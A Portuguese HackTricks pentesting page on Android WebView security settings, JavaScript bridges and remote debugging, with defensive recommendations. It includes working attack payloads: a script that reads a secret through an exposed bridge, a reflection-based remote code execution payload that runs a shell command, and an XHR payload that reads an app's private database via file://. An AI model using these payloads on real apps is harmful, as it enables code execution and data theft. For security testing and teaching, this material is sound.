hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
2023-06-06 18:56:34 +00:00

176 lines
14 KiB
Markdown

# Configurações Interessantes
## Acesso a Arquivos
O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitá-lo ou desabilitá-lo explicitamente.\
Se o aplicativo tiver _**android.permission.READ\_EXTERNAL\_STORAGE**_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
O _WebView_ precisa usar um esquema de URL de arquivo, por exemplo, `file://path/file`, para acessar o arquivo.
### Acesso Universal a partir de URL de Arquivo (Descontinuado)
> Define se as solicitações **cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outras URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
>
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` lancem ataques de script entre sites, acessando **arquivos locais arbitrários**, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários.
Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), o conteúdo não será carregado.\
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de uma URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
{% hint style="info" %}
Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais**, mesmo se todas as configurações perigosas estiverem habilitadas.
{% endhint %}
### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
> Define se as solicitações **cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas a acessar conteúdo de outras URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
>
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo.
Em resumo, isso impede que o JavaScript acesse arquivos locais via protocolo `file://`.\
Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`. \
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de uma URL de esquema de arquivo pode acessar conteúdo de outras URLs de esquema de arquivo.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
### Acesso a Arquivo
> Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res.
Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo `file://`.\
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e acima.
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar.
### WebViewAssetLoader
> Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de mesma origem.
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, o **CORS** pode ser **facilmente** mantido entre as **páginas** da web **locais** e as **páginas** da web que são baixadas do servidor da web.
## Javascript Habilitado
Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente. \
Observe que os webviews também podem suportar o **esquema de intenção** que permite disparar outros aplicativos. Leia este [artigo para descobrir como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
## Ponte Javascript
O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como _WebView JavaScript bridge_ ou _native bridge_.
Observe que **quando você usa `addJavascriptInterface`, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Com acesso ao código JavaScript, por exemplo, por meio de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.
{% hint style="info" %}
Observe que, no caso de tentar explorar essa vulnerabilidade por meio de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Android Nativo**. Se o acesso à redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo **WebView**, o **navegador não poderá acessar o objeto Android nativo**.
{% endhint %}
Se `addJavascriptInterface` for necessário, leve em consideração o seguinte:
* **Somente o JavaScript fornecido** com o APK deve ser permitido a usar as pontes, por exemplo, verificando a URL em cada método Java conectado (por meio de `WebView.getUrl`).
* **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
* Se necessário por motivos de legado (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
## Ponte JavaScript para RCE via Reflexão
Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique-a para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando uma carga útil como a seguinte:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
No entanto, aplicativos modernos podem usar a **anotação `@JavascriptInterface`** que indica à **JavascriptBridge** que somente o método com essa anotação deve ser **exposto**.\
Nesse cenário, você não poderá abusar da **Reflection** para executar código arbitrário.
## Depuração Remota
A **depuração remota do WebView** permite acessar o WebView com as **Ferramentas de Desenvolvedor do Chrome**.\
O **dispositivo** precisa ser **acessível** pelo PC (via USB, emulador local, rede local...) e estar executando o WebView depurável, em seguida, acesse **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do **WebView** e até mesmo fazer com que ele **execute código JS arbitrário** na guia **console**:
![](<../../.gitbook/assets/image (526).png>)
Para habilitar a **Depuração Remota do WebView**, você pode fazer algo como:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
**Essa configuração se aplica a todos os WebViews do aplicativo.**
{% hint style="info" %}
**A depuração do WebView não é afetada pelo estado do sinalizador `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView somente quando `debuggable` for `true`, teste o sinalizador em tempo de execução.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
# Cargas úteis
## Exfiltrar arquivos arbitrários
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
# Referências
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>